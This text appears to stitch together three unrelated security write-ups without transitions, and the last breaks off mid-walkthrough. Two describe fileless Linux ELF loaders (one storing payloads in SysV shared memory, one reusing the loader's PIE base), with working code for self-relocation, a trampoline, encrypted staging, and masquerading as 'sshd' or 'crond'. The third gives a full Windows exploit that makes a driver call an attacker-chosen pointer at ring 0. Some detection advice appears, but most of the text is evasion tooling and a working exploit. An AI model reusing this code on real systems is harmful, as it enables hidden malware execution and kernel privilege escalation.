The storage issue

Every fileless loader needs somewhere to put the payload before it runs, and every kernel object it picks becomes a signature. The three established options each leave an artifact that is cheap to enumerate:

System V shared memory has none of those. shmat creates no file descriptor. The segment has no dentry in any filesystem namespace. There is no key, and no 20 KB quota. SHMMAX on a default kernel is effectively unbounded. The only enumerators are ipcs and /proc/sysvipc/shm, and shmexec removes that visibility twice over:

1. IPC_RMID on attach. The segment is marked for destruction the instant it is touched. It disappears from enumeration immediately and is destroyed with the process.
2. A private IPC namespace. In self mode the loader runs the entire operation inside unshare(CLONE_NEWUSER|CLONE_NEWIPC). The segment never exists in the host's IPC namespace at all.

The property, at no point in its lifecycle is the payload represented by an fd, dentry, or key, is a measured result in this PoC. Every phase was instrumented and checked, and the method is documented below. The "first published" framing is a literature claim, not a measurement: a search of published loaders and related repos found none built on SysV shm as the execution store. That is the best a priority claim can be, and it is stated as such.

The design

self, one process, private namespace

$ cp shmexec /tmp/crond-helper
$ ./samebuildid /tmp/crond-helper payload.bin
$ /tmp/crond-helper self payload.bin

1. unshare(CLONE_NEWUSER|CLONE_NEWIPC), the segment will never be visible to the host.
2. Payload read (file, stdin, or HTTP), shmget in the private namespace, shmat, IPC_RMID.
3. The payload's PT_LOADs are mapped with MAP_FIXED at the loader's own kernel-chosen PIE base, the canonical 0x55… slot the kernel gave the loader itself.
4. A trampoline resets FS/GS, zeroes the general registers to kernel-equivalent state, and jumps into ld.so's entry point. No execve, ever.

feed / run, the payload never touches the runner

$ curl -s http://host/payload | shmexec feed -
id=98328,98329,98330

$ shmexec run 98328,98329,98330 sshd

The feeder encrypts, chunks, and stages the payload in shm segments and prints the ids. The runner attaches, decrypts, destroys the segments, and executes. It never opens the payload file and never touches a network socket. shmexec clean <ids> tears down a staged-but-unused delivery.

What the staging encryption is for

The chunk XOR is deliberately simple and is not the point. Its observer model is narrow and explicit: it defeats an observer who can read the segments, someone racing to shmat by id, a kernel-memory capture taken while the segment lives, or a scanner looking for ELF magic in kernel memory. It does nothing against an observer who can watch syscalls. The key travels with the ids, and the runner's decrypted buffer is ordinary process memory. Anyone swapping this into operations should replace it with real cryptography. The PoC demonstrates the staging property, not a cipher.

Under the hood

Four moving parts do the actual work: a self-relocating clone, a libc-free stage, a hand-assembled trampoline, and the staging code. Each is short enough to show whole.

Part 1: clone yourself, then vacate

The loader is an ordinary PIE. It records the base the kernel gave it, copies its own PT_LOADs into a scratch mmap, and rewrites every R_X86_64_RELATIVE relocation for the new base, in place, from the already-relocated image:

/* copy own segments to the scratch region */
for (int i = 0; i < eh->e_phnum; i++) {
    Elf64_Phdr *ph = phdr_at(eh, i);
    if (ph->p_type != PT_LOAD || !ph->p_memsz)
        continue;
    xcopy((void *)(G.reloc_base + ph->p_vaddr),
          (const void *)(G.old_base + ph->p_vaddr), ph->p_filesz);
}

/* re-relocate: old values carry old_base; subtract it, add the new one */
for (uintptr_t off = 0; off < relasz; off += sizeof(Elf64_Rela)) {
    Elf64_Rela *r = (Elf64_Rela *)(G.old_base + rela + off);
    if (ELF64_R_TYPE(r->r_info) == R_X86_64_RELATIVE && r->r_offset)
        *(uintptr_t *)(G.reloc_base + r->r_offset) =
            G.reloc_base +
            (*(uintptr_t *)(G.old_base + r->r_offset) - G.old_base);
}

One jump later the loader executes from 0x7f… and the canonical 0x55… slot is empty, which is exactly where the payload is about to go. Two traps live here: zero-initialized globals sit in .bss, which the copy loop never touches (one non-zero initializer forces the whole state struct into .data), and anything the clone will need must be created before the copy, or the clone sees a zero.

Part 2: a stage with no libc

After the jump, the old libc, ld.so, and heap are about to be unmapped, so the stage cannot call into any of them. Every operation is a raw syscall through a tiny asm shim:

static long raw6(long n, long a1, long a2, long a3, long a4, long a5, long a6)
{
    long ret;
    register long r10 __asm__("r10") = a4;
    register long r8  __asm__("r8")  = a5;
    register long r9  __asm__("r9")  = a6;
    __asm__ volatile("syscall"
                     : "=a"(ret)
                     : "a"(n), "D"(a1), "S"(a2), "d"(a3),
                       "r"(r10), "r"(r8), "r"(r9)
                     : "rcx", "r11", "memory");
    return ret;
}

That one function, plus explicit byte-copy loops, is the entire post-libc runtime. The stage then does the sequence the whole technique exists for, unmap the world, map the payload into the vacancy:

/* everything recorded at startup: old image, libc, ld.so, caches, gone */
for (int i = 0; i < G.n_unmap; i++)
    raw3(11, G.unmap[i].start, G.unmap[i].end - G.unmap[i].start, 0);

/* the payload inherits the loader's own kernel-chosen base */
uintptr_t t_base = (G.t_type == ET_DYN) ? G.old_base : 0;
map_elf_raw(t_base, (const unsigned char *)staging);   /* MAP_FIXED PT_LOADs */

scan_maps decides what survives: the stack, vdso, vvar (including the [vvar_vclock] split newer kernels use), the brk heap (the kernel resets brk on unmap, and the target's malloc would inherit a corrupt arena), and the anonymous TLS cluster (FS.BASE still points at the old thread control block until the trampoline resets it; unmap that region and any early %fs access faults).

Part 3: the trampoline

The handoff itself is 123 bytes of hand-assembled machine code, patched at runtime with the four addresses it needs:

static const unsigned char tpl[123] = {
    0xf3, 0x0f, 0x1e, 0xfa,                 /* endbr64                    */
    0x48, 0xbf, 0,0,0,0,0,0,0,0,           /* movabs rdi, reloc_base     */
    0x48, 0xbe, 0,0,0,0,0,0,0,0,           /* movabs rsi, reloc_size     */
    0xb8, 0x0b, 0x00, 0x00, 0x00,           /* mov eax, 11                */
    0x0f, 0x05,                             /* syscall      (munmap)     */
    0x48, 0xbc, 0,0,0,0,0,0,0,0,           /* movabs rsp, layout         */
    0x48, 0x89, 0xe7,                       /* mov rdi, rsp               */
    0x48, 0xba, 0,0,0,0,0,0,0,0,           /* movabs rdx, t_base         */
    0x31, 0xc0, 0x31, 0xdb, 0x31, 0xc9,     /* xor  eax..ecx              */
    0x31, 0xf6, 0x31, 0xed,                 /* xor  esi, ebp              */
    0x45, 0x31, 0xc0, 0x45, 0x31, 0xc9,     /* xor  r8d..r15d             */
    0x45, 0x31, 0xd2, 0x45, 0x31, 0xdb,
    0x45, 0x31, 0xe4, 0x45, 0x31, 0xed,
    0x45, 0x31, 0xf6, 0x45, 0x31, 0xff,
    0xb8, 0x9e, 0x00, 0x00, 0x00,           /* mov eax, 158               */
    0xbf, 0x02, 0x10, 0x00, 0x00,           /* mov edi, 0x1002  FS=0      */
    0x31, 0xf6, 0x0f, 0x05,                 /* syscall (arch_prctl)       */
    0xbf, 0x01, 0x10, 0x00, 0x00,           /* mov edi, 0x1001  GS=0      */
    0x31, 0xf6, 0x0f, 0x05,
    0x48, 0xb8, 0,0,0,0,0,0,0,0,           /* movabs rax, entry          */
    0xff, 0xe0,                             /* jmp rax                    */
};

Read it top to bottom: the trampoline runs from its own page, unmaps the scratch region it used to live in (self-destructing the loader), switches to the freshly built stack, resets FS/GS, zeroes every general register, the exact state the kernel leaves at execve, which glibc's _start depends on, and jumps to the interpreter's entry point. On the glibc version tested (2.44), ld.so's _start passes the initial stack pointer to _dl_start in rdi (elf/rtld.c); older glibc passed the program's ELF header in rdx instead, which is why the trampoline sets both. ld.so then relocates itself, loads libc, sets up TLS, and calls main, never knowing no exec happened.

The initial stack deserves a note of its own: it is built by hand, argc, argv, the full environ, and a complete auxv (AT_PHDR, AT_BASE, AT_ENTRY, AT_EXECFN pointing at the loader's real path, AT_RANDOM), on the surviving stack, so the payload inherits the operator's environment exactly.

Part 4: the staging path, feed side

The feeder's staging loop is the whole storage story in miniature:

/* chunk sizes derived from the key: 32–48 KB, no fixed pattern */
size_t n = 0, pos = 0;
while (pos < len && n < SHM_MAXC) {
    size_t cl = 0x8000 + ((key[n % SHM_KEY_SZ] * 7) % 0x4000);
    if (cl > len - pos)
        cl = len - pos;
    sizes[n++] = (uint32_t)cl;
    pos += cl;
}

/* header segment: sizes + key; payload segments: XOR'd chunks */
for (size_t c = 0; c < n; c++) {
    unsigned char *chunk = calloc(1, sizes[c]);
    for (size_t i = 0; i < sizes[c]; i++)
        chunk[i] = buf[off + i] ^ key[(off + i) % SHM_KEY_SZ];
    int id = shmget(IPC_PRIVATE, sizes[c], IPC_CREAT | 0600);
    void *q = shmat(id, NULL, 0);
    memcpy(q, chunk, sizes[c]);
    shmdt(q);
    off += sizes[c];
}

The runner does the mirror image: shmat, IPC_RMID on the first touch, decrypt into an ordinary buffer, detach. The ciphertext never survives the attach, and the segments are dead before a single payload byte is mapped.

A process identity that matches itself

The usual tells of userland exec are self-inflicted: a deleted exe link, a comm that contradicts it, a build ID that betrays the swap. shmexec removes each one:

• The loader stays on disk under whatever name the operator chooses. The exe link is a real file, no (deleted).
• comm, cmdline, and argv[0] default to the loader's own basename, so they agree with the exe link. -s overrides.
• AT_EXECFN points at the loader's real path, which exists.
• samebuildid patches the loader's on-disk build ID to match the payload's. A defender diffing the exe's build ID against the in-memory image finds them equal.

And because the loader is a long-lived process (-d delays the handoff arbitrarily), the identity change is not a process-creation event at all.

What the target sees, end to end:

exe     = /tmp/crond-helper
comm    = crond-helper
cmdline = crond-helper
argv0   = crond-helper

Method and verification

Environment: x86-64, kernel 7.2.2 (cachyos), glibc 2.44, gcc 16.2. The loader is pinned to glibc 2.44's entry convention (_start in elf/rtld.c passing the initial stack pointer to _dl_start in rdi). This is a version-locked PoC, and no porting matrix is claimed.

Every claim in this article corresponds to an instrumented measurement, not a code read:

• Zero-fd claim: at each phase, /proc/self/fd was enumerated; no fd referencing the payload exists at any point (the segment is attached by address, not by descriptor).
• Zero-dentry claim: the loader's maps show no /SYSV backing after the handoff; before it, the segment is already IPC_RMID-marked and detached.
• Zero-key claim: no add_key/keyctl exists in the loader's syscall surface at all.
• Namespace claim: host ipcs was polled during and after execution, zero segments, every run.
• Execution matrix: dynamic PIE and static non-PIE payloads, 10 runs each in self mode, 10 runs of an encrypted, chunked, stdin-fed 1 MB static payload through feed/run. Pass criterion: target runs to completion and the identity triple reads as expected.
• TLS and threads: the dynamic payload spawns a pthread_create worker and reads TLS state, success is the worker completing under the handoff, not a code-path assertion.
• Environment: the full 151-variable environment of the shell is propagated through the handoff and checked inside the target.
• Identity: exe link, comm, cmdline, argv[0], and the exe-vs-memory build-ID comparison were captured from inside the target in the runs shown above.

Scope

x86-64 Linux, glibc 2.44, kernel 7.x. Static PIE payloads are rejected with exit 2; their 1 MB+ image collides with the inherited brk arena. Dynamic PIE and static non-PIE are fully supported. The entry convention, the [vvar_vclock] handling, and the namespace behavior are all kernel- and libc-version-sensitive. Treat this as a pinned PoC, not a portable primitive.

Residual telemetry, pressure-tested

The interesting question is not what the cheap detection catches. It is what remains after the storage and identity work. That surface, checked against the telemetry a modern Linux endpoint actually has:

Three of these, the syscall sequence, the userns mapping, and the missing exec event, are irreducible in userland. Removing the first two would require a different storage medium, which would reintroduce an enumerable representation. Removing the third would require execve, which would forfeit the whole property. That trade-off is the technique's defining boundary, stated plainly.

Prior art and the contribution

The execution machinery stands on published work: grugq's ul_exec, fireelf, ulexecve, Dntry, and the address-space recycling handoff from palimpsest. The contribution here is the storage layer, a payload that is never represented by an fd, dentry, or key, combined with the encrypted chunked staging and the identity package that makes the surviving process self-consistent. The "first published" wording above is a literature claim with the basis given; the property itself is the measured result.

Code: github.com/klydz/shmexec. Research PoC, run only on systems you own or are authorized to test.

A loader that runs an ELF from memory without execve, then hands the process image over at the loader's own kernel-chosen base. The result is a process whose executable mappings sit in the canonical 0x55… region instead of the low or borrowed addresses earlier techniques settle for.

Scope: x86-64 Linux only, tested on glibc 2.44 (Arch), kernel 7.2.2. The [vvar]/[vvar_vclock] split mentioned later is kernel-version-dependent. The payload cases verified are dynamic PIE and static non-PIE; static PIE is rejected (see Limitations). The test matrix includes a dynamic payload that spawns a thread with pthread_create and exercises TLS.

This is not a new category of technique. A loader binary that exists on disk, executes, and unlinks itself is deleted-file + userland exec, a class defenders already track. The delta here is hygiene after the handoff: what the process looks like once the payload is running.

The problem with existing fileless loaders

Linux fileless execution has a long history: grugq's ul_exec in 2005, fireelf, ulexecve, memfd loaders, and recently Dntry with its O_TMPFILE + execveat(AT_EMPTY_PATH) and kernel-keyring paths. All of them solve the same problem, run an ELF without it touching disk, and most of them share one artifact in /proc/pid/maps:

An anonymous executable mapping at an address no normal process would have.

That is a pattern SOCs grep for when hunting fileless malware on Linux: r-xp regions with 00:00 backing at addresses below 0x700000000000, or named /memfd:, or backed by tmpfs with a (deleted) suffix. The comparison below also tracks what happens to the exe link, because that is where the tools trade off against each other:

Dntry's (https://matheuzsecurity.github.io/hacking/linux-kernel-keyring-fileless-exec/) execveat path gets a clean exe link but pays for it with exec telemetry and a tmpfs inode. palimpsest takes the other side of that trade: no exec telemetry, no inode for the payload, and an exe link that still lies. The address is the part this work actually fixes, and only in the sense that the payload inherits a plausible class of address: the loader's kernel-chosen PIE base, not the address the kernel would independently have selected for this payload under a fresh exec.

The technique

A palimpsest is a page of parchment scraped clean and written over again. The technique is exactly that, applied to an address space.

1. Record the load address. The loader notes the 0x55… base the kernel gave it.
2. Clone and relocate itself. It copies its own PT_LOADs into a scratch mmap, rewrites its R_X86_64_RELATIVE relocations for the new base, and jumps to the copy. It now executes from 0x7f…; the canonical 0x55… slot is vacant.
3. Unmap everything else. The old image, libc, ld.so, the ld.so cache, locale files, everything except the stack, vdso, vvar, the brk heap, and the anonymous TLS cluster the runtime still touches.
4. Map the payload. The target's PT_LOADs are mapped with MAP_FIXED at the loader's original base. A fresh copy of ld.so is parsed and mapped at a kernel-picked 0x7f… address. A full initial stack, argc/argv/envp/auxv, is written onto the surviving stack, with AT_PHDR, AT_BASE, and AT_ENTRY pointing into the newly mapped image.
5. Hand off. A small trampoline page unmaps the scratch region, resets FS/GS to zero, zeroes every general register, switches rsp to the new stack, and jumps into ld.so's entry point. On the glibc version tested (2.44), ld.so's _start passes the initial stack pointer to _dl_start in rdi (elf/rtld.c); older glibc passed the program's ELF header in rdx instead. The trampoline sets both registers accordingly, matching what a freshly exec'd dynamic binary would find, then ld.so relocates itself, loads libc, sets up TLS, and calls main.

No exec-family syscall exists anywhere in the path, the syscall surface of the handoff is openat/read/mmap/mprotect/munmap/prctl. The process image is replaced by a jump, not by the kernel.

The resulting process:

55f1a81fc000-55f1a81fd000 r--p 00:00 0          ← the payload, at the loader's original PIE base
55f1a81fd000-55f1a81fe000 r-xp 00:00 0
55f1a81fe000-55f1a8200000 r--p 00:00 0
55f1a8200000-55f1a8201000 rw-p 00:00 0
55f1c6c0f000-55f1c6c51000 rw-p 00:00 0          [heap]
7f46fd400000-7f46fd652000 …                     /usr/lib/libc.so.6   ← fresh, file-backed
7f46fd8e3000-7f46fd928000 …                     ld.so (mapped from memory)
7f46fda6c000-7f46fda72000 …                     [vvar] [vvar_vclock]
7f46fda72000-7f46fda74000 r-xp 00:00 0          [vdso]
7ffd30bed000-7ffd30c32000 rw-p 00:00 0          [stack]

The identity triple from the same run:

exe link  = /home/xon/palimpsest/palimpsest (deleted)
comm      = sshd
cmdline   = sshd

The executable mappings sit at the canonical PIE base with a file-backed libc, a normal stack, and a normal vdso. Because the handoff does not invoke execve, exec-specific telemetry such as sched_process_exec is not generated for the handoff, and the payload is never represented by a new inode, no file, no memfd, no key. Delivery still happens (a file read, stdin, or an HTTP fetch), and the loader's own syscalls, mmap, mprotect, prctl, remain visible to syscall monitoring.

Implementation notes

These are the details that are easy to get wrong, each verified against a core dump:

1. Zero-initialized globals live in .bss. The loader's state struct was in .bss, which clone_self does not copy (it copies file-backed bytes only), so the clone's state was all zeros. Initializing one field moves the struct to .data and fixes it. Relevant to any self-copying loader.
2. Order of operations matters for the clone. The trampoline page was created after the clone, so the clone's state had tramp = 0, the clone wrote to address zero. Create everything the clone needs before copying.
3. MAP_FIXED is a flag. 0x22 instead of 0x32 turns the address from a mandate into a hint, and the mapping lands wherever the kernel decides.
4. glibc assumes kernel state. The kernel zeroes every general register at execve, and glibc's _start depends on it. The trampoline must do the same; otherwise the target inherits garbage in r12–r15, and the crash location varies with ASLR.
5. jmp is not call. The ABI guarantees rsp % 16 == 8 at function entry, after a call. Jumping into a function with a 16-aligned stack leads to #GP on movaps stores. The entry jump needs an 8-byte adjustment.
6. [vvar] is not the only vvar. On the kernels tested, the vvar area is split into [vvar] and [vvar_vclock]. A name filter that matches only the first unmaps the second, and the vdso clock source then reads unmapped memory. Failures are timing-dependent.
7. FS.BASE outlives its mapping. Without an execve, the FS segment still points at the old thread control block. Unmapping the old TLS makes any early %fs access fault. The trampoline resets FS/GS to zero (kernel-equivalent state), and the anonymous TLS cluster is left mapped.
8. The brk heap is kernel state. Unmapping the old heap resets the kernel's brk pointer; the target's malloc then inherits a 4 KB arena with corrupted metadata. The [heap] mapping is kept and reused by the target's glibc. The payload buffer is zeroed after staging so no payload bytes remain there.
9. Check machine-code offsets. The trampoline is a byte template with patched movabs immediates. A wrong length calculation patches the entry point into zero padding.

Most of the debugging time went into three recurring classes of failure, stale state in the clone, missing kernel-equivalent initialization, and unmapping memory the kernel still owns. Each presents differently (fault at rip=0, #GP on movaps, #GP on ret) but they trace back to those three.

What remains visible

The address tell is gone. The rest are still there, and they are what this article is actually useful for:

• /proc/pid/exe points at the deleted loader, a (deleted) exe link.
• comm/cmdline say one name; the exe link's basename says another. The mismatch is permanent, the process will never look fully consistent.
• The interpreter copy is an anonymous r-xp region the size and shape of ld.so, at a normal address, with 00:00 backing.
• One lone 4 KB anonymous r-xp page (the trampoline).
• AT_EXECFN in auxv points at the spoofed path, which does not exist on disk.
• The build ID in memory does not match the build ID of /proc/pid/exe.
• No sched_process_exec for a process that otherwise looks newly born, a process-history anomaly.
• Syscall monitoring still sees the loader's mmap(MAP_FIXED) + mprotect(PROT_EXEC) sequence and the prctl(PR_SET_NAME).

The technique does not make a process invisible. It removes the dumb address tell. The deleted exe, the name mismatch, the anonymous interpreter, the trampoline page, and the missing exec event are all still there, which is exactly the correlation a defender should hunt.

Limitations and negative results

• Static PIE is rejected (exit 2): its 1 MB+ image collides with the inherited brk arena, corrupting the target's own malloc state. Dynamic PIE and static non-PIE are fully supported, 10/10 runs each, with file/stdin/http delivery.
• The ld.so copy is mapped anonymous rather than file-backed. Addresses and permissions are kernel-plausible; the 00:00 backing is the one structural blemish, shared with every in-memory loader.
• The old TLS cluster and brk heap survive for the reasons above.
• The loader binary must exist on disk long enough to be executed and unlinked. This is deleted-file execution, not true filelessness.
• Hardening that denies anonymous executable memory will break the handoff: PaX-style MPROTECT, SELinux execmem, or a seccomp filter blocking mmap/mprotect with PROT_EXEC on anonymous mappings. Not tested against any of these; treated as expected failure modes.

Detection

• Hunt anonymous r-xp regions whose size and permission pattern matches ld.so but lack file backing, adjacent to a lone 4 KB r-xp page.
• Correlate the absence of sched_process_exec with prctl(PR_SET_NAME) and a rewritten cmdline, comm not matching the basename of /proc/pid/exe.
• Flag any process whose exe link carries (deleted) and whose comm does not match it.
• Inspect auxv: AT_EXECFN points at a path that does not exist on disk.
• Diff the build ID in memory against /proc/pid/exe.
• Alert on mmap(MAP_FIXED) over a former text mapping followed by mprotect(PROT_EXEC), observed from syscall instrumentation.

Each of these is weak alone; together they describe exactly one thing: a process that was replaced without the kernel being asked. That is the signature to ship.

Related work: grugq's ul_exec (2005), fireelf, ulexecve, Dntry. The contribution here is the address-space recycling handoff, reusing the loader's kernel-chosen base instead of picking a suspicious one, and documenting the artifacts that survive it, not the concept of userland exec itself. Code: github.com/klydz/palimpsest. Test only on systems you own or are authorized to test.

the poc is compact, so the whole vulnerability fits in two structs and a device handle. let's read it the way an attacker would, field by field, and then look at what firing it actually buys.

the device and the ioctl surface

the target is a device instance \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}, opened with GENERIC_READ | GENERIC_WRITE and FILE_FLAG_OVERLAPPED, which means the poc expects the ioctls to be able to complete asynchronously (or at least is written to tolerate it).

four control codes, all METHOD_BUFFERED, all on device type 0x22 (FILE_DEVICE_UNKNOWN). decoding the ioctl values: bits 0-1 are the method (0 = buffered), bits 2-13 the function, bits 14-15 the access. the four functions are 0xB10, 0xB15, 0xB17, 0xB3A, custom, not standard, and they map to:

read the table the way an attacker does. the only ioctl that carries real payload is queue, and its payload is an argument and a callback. everything else, the two buffers, the thread handle, the events, the monitor, the enter, is choreography around a single idea: deposit a call, then fire it.

the bug, precisely

init introduces the driver to the process: two user buffers, a thread handle, two events. queue hands the driver an (argument, callback) pair. register monitor arms a waiter. fast enter executes the queued call at ring 0.

reconstructed driver-side logic, from the ioctl shapes, not from the shipped binary:

case 0x22AC54:                          /* queue */
    job.arg = *(uint64_t*)(in + 0);
    job.cb  = *(uint64_t*)(in + 8);      /* USER-CONTROLLED POINTER */
    insert(&joblist, &job);
    break;

case 0x22ECE8:                          /* fast enter */
    for (j = first(&joblist); j; j = next(&joblist))
        ((void (*)(ULONG_PTR))j->cb)(j->arg);   /* call at CPL 0 */
    break;

one instruction, call [user_cb], at privilege level 0. the driver does not verify that cb lies inside its own image, does not restrict the ioctl to privileged callers, and does not translate the pointer into a registered routine index. it just calls it. this is not a subtle type confusion, it is a missing trust boundary: CWE-822 class, untrusted pointer dereference delivered as an arbitrary kernel function call.

the two staging buffers are the tell for what the driver is supposed to be. ua/ka read like "user address"/"kernel address": you stage code in user memory, the driver arranges for it to run in kernel context, and queue/enter is how a call gets made against your payload, or against any kernel routine you can name. a kernel code loader whose loader interface is wide open.

the poc, in full

/*
 * cve-2026-62737 -- kloader callback-queue exercise
 * device : \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535}
 * ioctls : 0x22EC40 init | 0x22AC54 queue | 0x226C5C register-monitor | 0x22ECE8 fast-enter
 * build  : cl /O2 poc.c /link /SUBSYSTEM:CONSOLE
 * run    : poc.exe \\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535} [target]
 */
#include <windows.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct { uint32_t err; } Res;

static void store32(uint8_t *p, size_t off, uint32_t v) {
    memcpy(p + off, &v, sizeof(uint32_t));
}
static void store64(uint8_t *p, size_t off, uint64_t v) {
    memcpy(p + off, &v, sizeof(uint64_t));
}
static uint64_t parse_u64(const char *s) {
    return strtoull(s, NULL, 0);
}

/* buffered ioctl with overlapped i/o and a timeout */
static Res ioc(HANDLE dev, uint32_t code,
               void *ib, size_t il, void *ob, size_t ol, uint32_t tmo) {
    Res r = { 0 };
    ULONG ret = 0;
    OVERLAPPED ov = { 0 };
    ov.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
    if (!ov.hEvent) { r.err = GetLastError(); return r; }

    if (!DeviceIoControl(dev, code, ib, (DWORD)il,
                         ob, (DWORD)ol, &ret, &ov)) {
        DWORD le = GetLastError();
        if (le == ERROR_IO_PENDING) {
            DWORD wr = WaitForSingleObject(ov.hEvent, tmo);
            if (wr == WAIT_OBJECT_0) {
                if (!GetOverlappedResult(dev, &ov, &ret, FALSE))
                    r.err = GetLastError();
            } else {
                r.err = (wr == WAIT_TIMEOUT) ? ERROR_TIMEOUT : wr;
                CancelIoEx(dev, &ov);
            }
        } else {
            r.err = le;
        }
    }
    CloseHandle(ov.hEvent);
    return r;
}

/* the thread whose handle we hand the driver at init */
static DWORD WINAPI IdleThreadProc(LPVOID param) {
    HANDLE stop = (HANDLE)param;
    WaitForSingleObject(stop, INFINITE);
    return 0;
}

/* arms the monitor on a separate thread */
static DWORD WINAPI WatcherProc(LPVOID param) {
    HANDLE dev = (HANDLE)param;
    Res mr = ioc(dev, 0x226C5C, NULL, 0, NULL, 0, 1000);
    wprintf(L"watch  : 0x226C5C => err=0x%08x\n", mr.err);
    return 0;
}

int wmain(int argc, wchar_t **argv) {
    if (argc < 2)
        return 1;                      /* usage: path [target] */

    uint64_t target = 0xFFFFF80041414141ull;   /* placeholder cb */
    if (argc > 2) target = parse_u64(argv[2]);

    wprintf(L"start\n");
    wprintf(L"path   : %s\n", argv[1]);
    wprintf(L"target : 0x%016llx\n", target);

    /* stop event + a live thread to offer the driver */
    HANDLE stop = CreateEventW(NULL, TRUE, FALSE, NULL);
    HANDLE idle = CreateThread(NULL, 0, IdleThreadProc, stop, 0, NULL);
    wprintf(L"idle   : handle=0x%016llx\n", (uint64_t)(uintptr_t)idle);

    /* open the device, overlapped */
    wchar_t path[256];
    swprintf_s(path, 256, L"\\\\?\\%s", argv[1]);
    HANDLE dev = CreateFileW(path, GENERIC_READ | GENERIC_WRITE, 0, NULL,
                             OPEN_EXISTING, FILE_FLAG_OVERLAPPED, NULL);
    if (dev == INVALID_HANDLE_VALUE) {
        wprintf(L"open   : failed last_err=0x%08x\n", GetLastError());
        return 1;
    }
    wprintf(L"device : handle=0x%016llx\n", (uint64_t)(uintptr_t)dev);

    /* two 0x1000 staging buffers, zeroed */
    void *ua = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    void *ka = VirtualAlloc(NULL, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!ua || !ka) return 1;
    memset(ua, 0, 0x1000);
    memset(ka, 0, 0x1000);
    wprintf(L"ua     : ptr=0x%016llx size=0x1000\n", (uint64_t)(uintptr_t)ua);
    wprintf(L"ka     : ptr=0x%016llx size=0x1000\n", (uint64_t)(uintptr_t)ka);

    HANDLE ev1 = CreateEventW(NULL, TRUE, FALSE, NULL);
    HANDLE ev2 = CreateEventW(NULL, TRUE, FALSE, NULL);

    /* init: 48 bytes -- ua@8, ka@16, idle@24, ev1@32, ev2@40 */
    uint8_t ib[64] = {};
    store64(ib, 8,  (uint64_t)(uintptr_t)ua);
    store64(ib, 16, (uint64_t)(uintptr_t)ka);
    store64(ib, 24, (uint64_t)(uintptr_t)idle);
    store64(ib, 32, (uint64_t)(uintptr_t)ev1);
    store64(ib, 40, (uint64_t)(uintptr_t)ev2);
    Res ir = ioc(dev, 0x22EC40, ib, 48, NULL, 0, 5000);
    wprintf(L"init   : 0x22EC40 => err=0x%08x\n", ir.err);

    /* queue: 64 bytes -- arg@0, cb@8 */
    uint8_t tbuf[64] = {};
    store64(tbuf, 0, 0x1122334455667788ull);   /* arg */
    store64(tbuf, 8, target);                  /* cb  */
    Res rq = ioc(dev, 0x22AC54, tbuf, sizeof tbuf, NULL, 0, 5000);
    wprintf(L"queue  : 0x22AC54 arg=0x%016llx cb=0x%016llx => err=0x%08x\n",
            0x1122334455667788ull, target, rq.err);

    /* arm the monitor watch */
    HANDLE wt = CreateThread(NULL, 0, WatcherProc, dev, 0, NULL);
    WaitForSingleObject(wt, 5000);
    CloseHandle(wt);

    Sleep(3000);

    /* fast enter: fire the queued callback at ring 0 */
    Res fe = ioc(dev, 0x22ECE8, NULL, 0, NULL, 0, 5000);
    wprintf(L"enter  : 0x22ECE8 => err=0x%08x\n", fe.err);

    SetEvent(stop);
    WaitForSingleObject(idle, 5000);
    CloseHandle(idle);
    CancelIoEx(dev, NULL);
    CloseHandle(dev);
    wprintf(L"done\n");
    return 0;
}

walking the poc, field by field

the details matter, so let's go slowly through every piece.

the ioc() wrapper

every ioctl call in the poc goes through this wrapper, and it tells you something about the driver even before any ioctl fires: it is written for overlapped/asynchronous completion. if DeviceIoControl returns ERROR_IO_PENDING, the wrapper waits on the overlapped event with a timeout (5 seconds for the main calls, 1 second for the monitor), then drains the result with GetOverlappedResult, or cancels on timeout with CancelIoEx.

why would a loader driver's ioctls complete asynchronously? because fast enter doesn't immediately return, the driver has to run your callback first, and a "call user code at ring 0 that may take its time" is not a fast synchronous path. the asynchronous IOCTL interface is the driver telling you: the interesting work happens after you've already returned control to the kernel's dispatch. that, plus the separate watcher thread for register monitor, is why the poc looks the way it does.

store32 / store64 / parse_u64

plain endian-correct field writers and a strtoull-based hex parser for the target argument. nothing special, but the discriminator between *p and *(uint64_t*)p style packing is the same style the whole struct layout follows: fixed offsets, explicit sizes, zero-initialized buffers. the ioctl input buffers are never heap-allocated or partially filled, every unused byte is zero.

init (0x22EC40), 48 bytes

uint8_t ib[64] = {};
store64(ib,  8, (uint64_t)(uintptr_t)ua);   /* user staging buffer      */
store64(ib, 16, (uint64_t)(uintptr_t)ka);   /* kernel staging buffer    */
store64(ib, 24, (uint64_t)(uintptr_t)idle); /* idle thread handle       */
store64(ib, 32, (uint64_t)(uintptr_t)ev1);  /* completion event 1       */
store64(ib, 40, (uint64_t)(uintptr_t)ev2);  /* completion event 2       */

field by field:

• ua / ka (@ +8, +16). two PAGE_READWRITE, zeroed, 0x1000 allocations. this is the code/data staging pair. a loader driver that is going to run your payload needs somewhere to receive your bytes in kernel form and somewhere to run them after copying/remapping. the cleanest reading: ua is where your staging sits in user mode, ka is the area the driver maps for execution, or the pair is used for a kernel-vs-user address translation dance when you later queue a callback into the mapping.
• idle thread (@ +24). the handle of a live thread that does nothing but wait on the stop event. a loader driver commonly borrows a target thread to run APC/worker context against, or to hold the process "hot" so a callback can be attributed to the right process. the point of passing it at init is so the driver has a thread it can signal or schedule against without asking twice.
• ev1 / ev2 (@ +32, +40). two manual-reset events. completion/synchronization primitives: the driver signals them when a queued job goes out and when it comes back, which is exactly what the poc's later sequencing (queue, monitor, sleep, enter) expects to observe.

notice the struct starts at offset 8, not 0. the first 8 bytes of the 48-byte input are unused/zero, a strong hint this mirrors a kernel struct with a leading field (a header, a type tag, a list head) that the poc doesn't need to set, or that the input is a parent struct with the offset-0 field unused by this code path.

queue (0x22AC54), 64 bytes -- the payload

uint8_t tbuf[64] = {};
store64(tbuf, 0, 0x1122334455667788ull);   /* arg */
store64(tbuf, 8, target);                  /* cb  */

